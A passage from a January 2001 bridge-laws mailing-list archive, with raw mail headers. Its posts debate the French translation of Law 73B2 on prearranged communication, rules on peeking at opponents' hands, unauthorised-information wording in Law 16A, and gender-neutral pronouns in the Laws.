1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk My English version is on my office desk, and I hide it when somebody enters my room. In my country we now have agreed that some private e-mail activities during working time are permitted (they don't say anything about the amount), but nothing is said about private/illegal literature. Alain, it certainly is the translation this time. The original talks about 'prearranged methods others than those sanctioned.' And using bidding boxes or papers are examples of prearranged methodes being sanctioned. No reason to ask Grattan anything. ton > -----Oorspronkelijk bericht----- > Van: alain gottcheiner [mailto:agot@ulb.ac.be] > Verzonden: woensdag 10 januari 2001 15:16 > Aan: bridge-laws@rgb.anu.edu.au > Onderwerp: [BLML] horror ! (new) > > > Dear blmlists, > > While fumbling for a Law that could apply to another of our threads, I > found an incredible error in the wording of the law. > > Unfortunately, I own only the French version, so the > translation is mine. > Perhaps the error doen't lie in the original, English version. > > L73B2 : occult cmmunication : The worse infraction is for a pair to > exchange information using occult communication means other than those > permitted by the Laws. > > Taken litterally, this means that the Laws allow us some occult > communication means, only the others being disallowed. This > is outrageous ! > > Since we already think about the next version of TFLB, > couldn't we suggest > some other way of expressing it ? (at least in the French version) > > Alain. > > -- > ============================================================== > ========== > (Un)Subscribing? Want the archives? email > majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at > http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-> LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 02:02:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AF0bZ21065 for bridge-laws-outgoing; Thu, 11 Jan 2001 02:00:37 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from freenet.carleton.ca (freenet1.carleton.ca [134.117.136.20]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AF0Vt21061 for ; Thu, 11 Jan 2001 02:00:31 +1100 (EST) Received: from freenet10.carleton.ca (freenet10 [134.117.136.30]) by freenet.carleton.ca (8.9.3+Sun/8.9.3/NCF_f1_v3.00) with ESMTP id KAA19101 for ; Wed, 10 Jan 2001 10:00:10 -0500 (EST) Received: (ac342@localhost) by freenet10.carleton.ca (8.9.3+Sun/NCF-Sun-Client) id KAA00385; Wed, 10 Jan 2001 10:00:10 -0500 (EST) Date: Wed, 10 Jan 2001 10:00:10 -0500 (EST) Message-Id: <200101101500.KAA00385@freenet10.carleton.ca> From: ac342@freenet.carleton.ca (A. L. Edwards) To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] horror ! (new) Reply-To: ac342@freenet.carleton.ca Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > >Dear blmlists, > >While fumbling for a Law that could apply to another of our threads, I >found an incredible error in the wording of the law. > >Unfortunately, I own only the French version, so the translation is mine. >Perhaps the error doen't lie in the original, English version. > >L73B2 : occult cmmunication : The worse infraction is for a pair to >exchange information using occult communication means other than those >permitted by the Laws. > >Taken litterally, this means that the Laws allow us some occult >communication means, only the others being disallowed. This is outrageous ! > Occult? Do you mean throwing the entrails of a chicken at pard, to tell him I think his last bid sucked, is ILLEGAL?? What's next, the lawmakers will ban looking at, oh, say, any random 13 cards from a deck of 52, and trying to predict the future... Tony (aka ac342) ps. the English version says: L73(B)2: Prearranged Communication The gravest possible offence is for a partnership to exchange information through prearranged methods of cummunication other than those sanctioned by these Laws. A guilty partnership risks expulsion. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 02:28:13 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AFPDe21111 for bridge-laws-outgoing; Thu, 11 Jan 2001 02:25:13 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from batman.npl.co.uk (batman.npl.co.uk [139.143.5.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AFP6t21107 for ; Thu, 11 Jan 2001 02:25:07 +1100 (EST) Received: from herschel.npl.co.uk ([139.143.1.16]) by batman.npl.co.uk (8.11.0/8.11.0) with ESMTP id f0AFOqf15777 for ; Wed, 10 Jan 2001 15:24:52 GMT Received: (from root@localhost) by herschel.npl.co.uk (8.11.0/8.11.0) id f0AFOpT15625 for ; Wed, 10 Jan 2001 15:24:51 GMT Received: by herschel.npl.co.uk XSMTPD/VSCAN; Wed, 10 Jan 2001 15:24:51 GMT Received: from tempest.npl.co.uk (tempest [139.143.18.16]) by capulin.cise.npl.co.uk (8.9.3/8.9.3) with ESMTP id PAA08745 for ; Wed, 10 Jan 2001 15:24:50 GMT Received: (from rmb1@localhost) by tempest.npl.co.uk (8.9.1b+Sun/8.9.1) id PAA13083 for bridge-laws@rgb.anu.edu.au; Wed, 10 Jan 2001 15:24:49 GMT Date: Wed, 10 Jan 2001 15:24:49 GMT From: Robin Barker Message-Id: <200101101524.PAA13083@tempest.npl.co.uk> To: bridge-laws@rgb.anu.edu.au Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: Eric Landau > > there's no law against peeking at opponents' hands either. Except L75C5: 5. looking intently at any other player during the auction and play, or at another player's hand as for the purpose of seeing his cards or of observing the place from which he draws a card (but it is appropriate to act on information acquired by inadvertently seeing an opponent's card). Robin -- Robin Barker | Email: Robin.Barker@npl.co.uk CMSC, Building 10, | Phone: +44 (0) 20 8943 7090 National Physical Laboratory, | Fax: +44 (0) 20 8977 7091 Teddington, Middlesex, UK. TW11 OLW | WWW: http://www.npl.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 02:56:18 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AFt7x21161 for bridge-laws-outgoing; Thu, 11 Jan 2001 02:55:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AFt0t21157 for ; Thu, 11 Jan 2001 02:55:01 +1100 (EST) Received: from hirschd (user-vcaui0t.dsl.mindspring.com [216.175.72.29]) by mclean.mail.mindspring.net (8.9.3/8.8.5) with SMTP id KAA00938; Wed, 10 Jan 2001 10:54:37 -0500 (EST) Message-ID: <00b901c07b1d$a2aba5c0$0200000a@mindspring.com> From: "Hirsch Davis" To: "Grattan Endicott" , "BLML" References: <005e01c07a18$92ed4180$0200000a@mindspring.com> <004901c07ae1$601cbbe0$162b01d5@dodona> Subject: Re: [BLML] What is suggested ? Date: Wed, 10 Jan 2001 10:54:37 -0500 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "Grattan Endicott" To: "Hirsch Davis" ; "BLML" Sent: Wednesday, January 10, 2001 2:55 AM Subject: Re: [BLML] What is suggested ? > > Grattan Endicott <=> > 'Suspicions amongst thoughts are like bats > amongst birds, they ever fly by twilight.' > - Francis Bacon. > <===> > ----- Original Message ----- > From: Hirsch Davis > To: BLML > Sent: Tuesday, January 09, 2001 8:45 AM > Subject: Re: [BLML] What is suggested ? > > > > > > ----- Original Message ----- > > From: > > To: > > Sent: Monday, January 08, 2001 6:03 PM > > Subject: Re: [BLML] What is suggested ? > > > > > > > > > > Kaplan stated that *if* the AC deemed that the doubler > > > had deliberately hesitated to prevent partner pulling, > > > then a mere score adjustment was not appropriate, > > > but rather a disciplinary penalty. > > > > > > +=+ If this is what had happened there were too > distinct offences: (a) the deliberate hesitation, > and (b) using the UI conveyed. Each has its > separate treatment by the Director. > ~ Grattan ~ +=+ > In the case in question, there was no suggestion of a deliberate hesitation, nor was there use of UI (the player took the LA not suggested by the UI). My ruling that the score stood was changed anyway (by the DIC, not an AC). I believe the Bridge World titled their editorial "A Draconian Ruling". Regards, Hirsch -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 03:37:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AGWc821262 for bridge-laws-outgoing; Thu, 11 Jan 2001 03:32:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AGWWt21258 for ; Thu, 11 Jan 2001 03:32:33 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Wed, 10 Jan 2001 08:29:23 -0800 Message-ID: <001f01c07b22$e09c0640$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "Bridge Laws Mailing List" References: <200101082201.OAA31270@mailhub.irvine.com> <01010816063607.07132@psa836> Subject: Re: [BLML] What is suggested ? Date: Wed, 10 Jan 2001 08:31:05 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Grabiner wrote: > On Mon, 08 Jan 2001, Adam Beneschan wrote: > > > FWIW, I doubt that L73C was written to cover "loopholes" in L16A, as > > you seem to imply. In fact, although I don't have the 1975 laws > > handy, my recollection is that L73 was not a Law until 1987, and prior > > to that it was part of the "Proprieties", a list which informed the > > players of what was expected of them ethically but didn't really have > > the force of Law, and didn't have Law numbers. > > What was done back then with cases that now require L73C? For > example, on the typical hesitation Blackwood auction, > 1S-3S-4NT-5D-..5S, 6S is usually not a LA. The wording of L16 thus > does not allow an adjustment for the 6S bid, but I assume everyone > would still adjust. Under what law? You could use the "spirit" of > L16, I suppose. > I am giving up on analogies, mine evidently not conveying the intent of L16A correctly, and those of others look doubtful too. Let me put it this way: For reasons of conscience, I do not take an action--logical or illogical--that is influenced by extraneous information. For reasons of reputation, I do not take an action that might well appear to be so influenced, unless my documented system requires that action. That is how I have played the game for over 50 years, and that is how the game is supposed to be played. If it is not what L16A is saying, then L16A should be changed. My first cut: ...the player may not take an action that is influenced by the extraneous information, or might well appear to be so influenced. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 03:53:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AGqGw21410 for bridge-laws-outgoing; Thu, 11 Jan 2001 03:52:16 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AGq8t21372 for ; Thu, 11 Jan 2001 03:52:09 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id RAA12600; Wed, 10 Jan 2001 17:49:31 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id RAA15325; Wed, 10 Jan 2001 17:51:53 +0100 (MET) for Message-Id: <3.0.6.32.20010110180359.008111f0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 10 Jan 2001 18:03:59 +0100 To: Robin Barker , bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] In-Reply-To: <200101101524.PAA13083@tempest.npl.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 15:24 10/01/01 GMT, Robin Barker wrote: > >> From: Eric Landau >> >> there's no law against peeking at opponents' hands either. > >Except L75C5: > > 5. looking intently at any other player during the auction and play, > or at another player's hand as for the purpose of seeing his cards > or of observing the place from which he draws a card (but it is > appropriate to act on information acquired by inadvertently seeing > an opponent's card). AG : there also is law 16B, which quite surprisingly does not speak of 'having seen another hand' but 'looking at another hand'. Looking is a voluntary act, and the law speaks of accidents ? A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 04:06:26 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AH4jX25830 for bridge-laws-outgoing; Thu, 11 Jan 2001 04:04:45 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from batman.npl.co.uk (batman.npl.co.uk [139.143.5.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AH4bt25789 for ; Thu, 11 Jan 2001 04:04:38 +1100 (EST) Received: from herschel.npl.co.uk ([139.143.1.16]) by batman.npl.co.uk (8.11.0/8.11.0) with ESMTP id f0AH4Xf28276 for ; Wed, 10 Jan 2001 17:04:34 GMT Received: (from root@localhost) by herschel.npl.co.uk (8.11.0/8.11.0) id f0AH4XX29142 for ; Wed, 10 Jan 2001 17:04:33 GMT Received: by herschel.npl.co.uk XSMTPD/VSCAN; Wed, 10 Jan 2001 17:04:32 GMT Received: from tempest.npl.co.uk (tempest [139.143.18.16]) by capulin.cise.npl.co.uk (8.9.3/8.9.3) with ESMTP id RAA08891 for ; Wed, 10 Jan 2001 17:04:31 GMT Received: (from rmb1@localhost) by tempest.npl.co.uk (8.9.1b+Sun/8.9.1) id RAA15000 for bridge-laws@rgb.anu.edu.au; Wed, 10 Jan 2001 17:04:31 GMT Date: Wed, 10 Jan 2001 17:04:31 GMT From: Robin Barker Message-Id: <200101101704.RAA15000@tempest.npl.co.uk> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] What is suggested ? X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > My first cut: > > ...the player may not take an action that is influenced by the extraneous > information, or might well appear to be so influenced. > If the concern is to prevent players from making illogical alternatives suggested by the UI, why not: "the partner may not choose an action that could demonstrably have been suggested over logical alternative actions by the extraneous information." The action need not be logical, just the alternative less-suggested actions. Robin -- Robin Barker | Email: Robin.Barker@npl.co.uk CMSC, Building 10, | Phone: +44 (0) 20 8943 7090 National Physical Laboratory, | Fax: +44 (0) 20 8977 7091 Teddington, Middlesex, UK. TW11 OLW | WWW: http://www.npl.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 04:33:02 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AHW2r05491 for bridge-laws-outgoing; Thu, 11 Jan 2001 04:32:02 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AHVtt05461 for ; Thu, 11 Jan 2001 04:31:56 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Wed, 10 Jan 2001 09:28:42 -0800 Message-ID: <004901c07b2b$2a675880$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101092349030800.0321272A@mail.earthlink.net> Subject: Re: [BLML] Bad Language Date: Wed, 10 Jan 2001 09:31:04 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In reply to: > >However, since that time, a consensus has developed > >amongst non-discriminatory grammarians on what the > >gender-neutral generic third person singular words should > >be. Brian Baresch wrote: > > I wouldn't go that far. I favor the generic "they", myself, and I'm glad > it's gaining ground, but it's still some ways from a consensus. In some usages there is a consensus. One is the use of "they" when an individual's sex is unknown to the speaker: "I got a strange telephone call last night." "What did they say?" "Whoever broke that vase is going to find themselves in serious trouble." Another with fairly wide acceptance, especially among women, is the use of "they" when one doesn't wish to call attention to a person's sex: "I had a friend over for dinner last night, and they didn't leave until one in the morning." (Perhaps avoiding "he" because it could bring speculative thoughts to the listener's mind.) A common usage that deserves wider acceptance is the use of "they" with a singular antecedent when the antecedent could involve either sex: "Everyone must remove their shoes before entering the house." The OED quotes this usage by illustrious writers (Fielding, Goldsmith, Sydney Smith, Thackeray, Bagheot, and Bernard Shaw). Fowler quotes Ruskin: "I am never angry with anyone unless they deserve it." I see it as appropriate for the Laws when no confusion might result: "A player must...their..." There is no need for a game's rules to be ultra-formal. > > An additional alternative for the drafters that also avoids ambiguity is to > alternate "he" and "she" in some sensible way -- by law or by section, for > example. I try to do this in my bridge writings, when I remember. The initial actor (opener, takeout doubler, overcaller) is "he," while his partner (responder, advancer) is "she." Still a bit sexist, but generally in accord with our culture. I don't think this practice, or one that alternates in some other fashion, is appropriate for the Laws. > > Of course, by 2007, who knows what the most widely accepted format will be? Let us do what we can to determine what that format will be. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 04:56:26 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AHrLE13033 for bridge-laws-outgoing; Thu, 11 Jan 2001 04:53:21 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AHrEt13002 for ; Thu, 11 Jan 2001 04:53:14 +1100 (EST) Received: from flash.irvine.com (flash.irvine.com [192.160.8.4]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id JAA23221; Wed, 10 Jan 2001 09:53:05 -0800 Message-Id: <200101101753.JAA23221@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Bad Language In-reply-to: Your message of "Wed, 10 Jan 2001 15:45:19 PST." Date: Wed, 10 Jan 2001 09:53:05 PST From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Richard Hills wrote: > Traditionally, the English generic (undefined gender) > third person singular is *he* or *his*. > > A few decades ago, Brian Glubok used the construction > s/he in an answer to a problem in the Bridge World's MSC. > The then MSC Director, Alan Truscott, deprecated such an > inelegant neologism. Edgar Kaplan also supported > old-fashioned sexist grammar. One of Kaplan's > reasons for stodginess was that there were no > generally accepted alternative words to replace the > generic use of *he* and *his*. > > However, since that time, a consensus has developed > amongst non-discriminatory grammarians on what the > gender-neutral generic third person singular words should > be. > > *You* and *your* are not only generic terms for > second person singular, but are also the generic terms > for second person plural. Therefore, the new logical > extension by these progressive grammarian is to make > *they* and *their* not only generic third person plural, but > also the generic third person singular terms. > > The 1998 Laws are peppered with wince-making uses of > *he* and *his*. Writing the 2008 Laws in non-sexist > language might require careful wording from the drafting > committee (to prevent ambiguity between singular and > plural), but would send an important symbolic message. Some thoughts: (1) Since bridge is a partnership game, there are many occasions where the Laws refer to both members of a partnership, which naturally requires use of the third person plural. To use the plural also to refer to a single player would undoubtedly make the Laws more confusing. (2) If there is a way to use the plural in an unambiguous way (and I'm not convinced there is a way), I don't have much confidence that the drafters would find it. If they knew how to write laws unambiguously, BLML would have about 80% fewer posts than it does. (Only half seriously. All right, that's an exaggeration, and normally the Laws' drafters do a good job. Eliminating all ambiguities from anything is a superhuman task.) (3) As one who sometimes *does* use the third person plural in my writing, I've found that it works only some of the time. I've run into cases where I considered using the third person plural, but found the result to be quite awkward or confusing. So to my mind, they/their is a defective "solution". (4) I'm willing to bet that using the third person plural, or even more cumbersome constructs such as "he or she", will make a lot more people wince than is caused by the current uses of "he" and "his". (5) There is no sexist language in the Laws presently. It's common in the English language for words to have two meanings, with the correct meaning to be determined from context; and "he" and its inflections are such words. One meaning of "he" is a pronoun referring to a male person; the other meaning of "he" is a pronoun referring to a person of unknown gender. People that think that language like this "excludes women", or refers primarily to males, are either uninformed of, or ignoring, the second meaning of the word "he". (6) I've argued on r.g.b that the "traditional" grammar actually discriminates against men, because women get a pronoun that unambiguously refers to them, while we men get stuck with an ambiguous pronoun that we have to share. (7) I think there are a number of more pressing ambiguity problems in the Laws; and I'd be distressed if the Lawmakers decided, instead of clarifying the claim/revoke situation or explaining how an insufficient bid could be "conventional" or ripping out L25B, to spend the time fixing pronouns. (8) If I get a Law book with the word "hir" in it, it's going directly into the paper shredder. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 05:03:26 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AI2Pb16191 for bridge-laws-outgoing; Thu, 11 Jan 2001 05:02:25 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AI2It16149 for ; Thu, 11 Jan 2001 05:02:18 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Wed, 10 Jan 2001 09:59:10 -0800 Message-ID: <006f01c07b2f$6bd3dce0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <3.0.6.32.20010110151618.008136a0@pop.ulb.ac.be> Subject: Re: [BLML] horror ! (new) Date: Wed, 10 Jan 2001 09:59:26 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "alain gottcheiner" > Dear blmlists, > > While fumbling for a Law that could apply to another of our threads, I > found an incredible error in the wording of the law. > > Unfortunately, I own only the French version, so the translation is mine. > Perhaps the error doen't lie in the original, English version. > > L73B2 : occult cmmunication : The worse infraction is for a pair to > exchange information using occult communication means other than those > permitted by the Laws. > > Taken literally, this means that the Laws allow us some occult > communication means, only the others being disallowed. This is outrageous ! > > Since we already think about the next version of TFLB, couldn't we suggest > some other way of expressing it ? (at least in the French version) > The French "occulte," which has the about the same meaning as English "occult," isn't the right word. It would be appropriate only for undisclosed methods of communication. The English version is "...through prearranged methods of communication other than those sanctioned by these Laws." Since the only prearranged methods sanctioned by the Laws are those that are "fully and freely available to the opponents," they cannot be "occult." Better speak to the translator, Alain. Isn't there a French word "préarranger"? Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 05:14:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AIDjq16754 for bridge-laws-outgoing; Thu, 11 Jan 2001 05:13:45 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AIDdt16750 for ; Thu, 11 Jan 2001 05:13:39 +1100 (EST) Received: from user-2ive4fs.dialup.mindspring.com (user-2ive4fs.dialup.mindspring.com [165.247.17.252]) by smtp10.atl.mindspring.net (8.9.3/8.8.5) with SMTP id NAA05597 for ; Wed, 10 Jan 2001 13:13:26 -0500 (EST) Received: by user-2ive4fs.dialup.mindspring.com with Microsoft Mail id <01C07B6B.A64300E0@user-2ive4fs.dialup.mindspring.com>; Thu, 11 Jan 2001 01:13:04 -0500 Message-ID: <01C07B6B.A64300E0@user-2ive4fs.dialup.mindspring.com> From: Craig Senior To: "bridge-laws@rgb.anu.edu.au" Subject: RE: [BLML] Bad Language Date: Thu, 11 Jan 2001 01:01:41 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marv every example you have given of what your alleged consensus accepts is an example of illiterate colloquialism. None is good or proper English. When writing laws we should stay away from such unclear usages...otherwise why not write them in Ebonics or Cockney rhyming slang? Everyone may have HIS (or her) own opinion on this...but don't include me in your their. Craig Senior FYI: My main computer just blew out so I am struggling with an antique with the world's worst email program and a super slow connection, so be patient all if I miss messages for awhile. I have consulted the experts and have been assured that like a hairball this too will pass. Still I have not felt much like purring today...and very pedantic about imPURRfect English. Politically incorrectly, C ---------- From: Marvin L. French[SMTP:mfrench1@san.rr.com] Sent: Wednesday, January 10, 2001 12:31 PM To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Bad Language In reply to: > >However, since that time, a consensus has developed > >amongst non-discriminatory grammarians on what the > >gender-neutral generic third person singular words should > >be. Brian Baresch wrote: > > I wouldn't go that far. I favor the generic "they", myself, and I'm glad > it's gaining ground, but it's still some ways from a consensus. In some usages there is a consensus. One is the use of "they" when an individual's sex is unknown to the speaker: "I got a strange telephone call last night." "What did they say?" "Whoever broke that vase is going to find themselves in serious trouble." Another with fairly wide acceptance, especially among women, is the use of "they" when one doesn't wish to call attention to a person's sex: "I had a friend over for dinner last night, and they didn't leave until one in the morning." (Perhaps avoiding "he" because it could bring speculative thoughts to the listener's mind.) A common usage that deserves wider acceptance is the use of "they" with a singular antecedent when the antecedent could involve either sex: "Everyone must remove their shoes before entering the house." The OED quotes this usage by illustrious writers (Fielding, Goldsmith, Sydney Smith, Thackeray, Bagheot, and Bernard Shaw). Fowler quotes Ruskin: "I am never angry with anyone unless they deserve it." I see it as appropriate for the Laws when no confusion might result: "A player must...their..." There is no need for a game's rules to be ultra-formal. > > An additional alternative for the drafters that also avoids ambiguity is to > alternate "he" and "she" in some sensible way -- by law or by section, for > example. I try to do this in my bridge writings, when I remember. The initial actor (opener, takeout doubler, overcaller) is "he," while his partner (responder, advancer) is "she." Still a bit sexist, but generally in accord with our culture. I don't think this practice, or one that alternates in some other fashion, is appropriate for the Laws. > > Of course, by 2007, who knows what the most widely accepted format will be? Let us do what we can to determine what that format will be. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 05:33:35 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AIToY16793 for bridge-laws-outgoing; Thu, 11 Jan 2001 05:29:50 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AITit16789 for ; Thu, 11 Jan 2001 05:29:44 +1100 